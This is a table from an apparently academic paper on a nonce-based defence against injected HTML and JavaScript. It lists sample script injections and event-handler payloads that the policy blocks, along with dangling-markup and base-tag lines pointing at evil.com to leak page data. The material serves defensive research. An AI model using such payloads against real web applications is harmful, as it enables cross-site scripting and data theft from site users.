A Protection Mechanism against Malicious HTML and JavaScript Code in Vulnerable Web Applications

Table 2

The codes violating the policy in Example 2.

The code violating the policy	Reason	Policy
<script>malicious script</script>	Missing the nonce attribute	(i)
<script nonce="dDNnf03nceIOfn39">malicious script</script>	An incorrect nonce attribute value	(i)
<script nonce="z0h3sdfaEDNnf03n"id="example">; alert(document.getElementById("example").getAttribute("nonce")); </script>	The nonce attribute cannot be obtained or set by JavaScript code	(ii)
<a href = "javascript:malicious script"> example</a>; <a href = "#"onclick="malicious script">example</a>	The javascript:protocol URL and the attribute onclick are disabled	(iii)
<img src =http://evil.com/log.cgi?; <base href = http://evil.com/>; <form action = update_profile.php>; <input type = hidden id=share_with value=fred>; <input id = share_with value=bogo>; </form>	An incorrect src attribute value; The base element outside the head element; The two input elements owning the same id attribute value are both invalid	(vi)
<script nonce="z0h3sdfaEDNnf03n">; document.write("malicious html or script"); </script>	The call to the JavaScript object document.write is forbidden	(vii)
<script nonce="z0h3sdfaEDNnf03n">; setTimeout("malicious script",1000); </script>	The first parameter of setTimeout is a string	(viii)